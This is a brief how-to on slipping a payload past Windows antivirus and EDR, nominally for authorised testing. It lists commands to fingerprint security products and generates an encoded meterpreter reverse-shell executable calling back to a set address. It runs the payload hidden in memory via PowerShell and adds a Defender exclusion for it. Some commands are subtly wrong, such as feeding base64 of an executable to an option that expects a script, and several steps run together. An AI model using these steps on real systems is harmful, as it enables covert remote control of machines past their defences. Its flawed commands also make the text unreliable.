Use living‑off‑the‑land binaries, custom shellcode encoding, and precise AV/EDR whitelist manipulation to stay under the detection thresholds while remaining authorized.
Steps:
1. Map the target's AV/EDR stack (e.g., Windows Defender ATP, CrowdStrike Falcon, SentinelOne). Use wmic /namespace:\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName,productState to list AV, and Get-CimInstance -Namespace root\\Microsoft\\Windows\\Defender -ClassName MSFT_MpComputerStatus for EDR status.
2. Choose a LOLBin that is trusted and has a low heuristic score (e.g., powershell.exe, certutil.exe, rundll32.exe). Verify the current detection score with Invoke-Expression "Get-MpThreatDetection | Where-Object {$_.ThreatName -like 'PowerShell'}".
3. Encode payload to bypass signature‑based detection. Example msfvenom command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe4. Load the payload via a LOLBin using in‑memory execution. PowerShell example:
$bytes = [System.IO.File]::ReadAllBytes('payload.exe')
$encoded = [Convert]::ToBase64String($bytes)
powershell -NoProfile -WindowStyle Hidden -EncodedCommand $encoded5. Adjust EDR thresholds: create a temporary exclusion for the binary path using Add-MpPreference -ExclusionPath "C:\\Temp\\payload.exe" and remove it after the session.
6. Validate evasion on a replica system with the same AV definitions (Get-MpComputerStatus). If the payload appears in Get-MpThreatDetection, tweak encoding or switch LOLBin.
Gotcha: AV signatures are refreshed every few hours; a payload that passes on a fresh VM can be flagged minutes later, so always re‑test after the next definition update.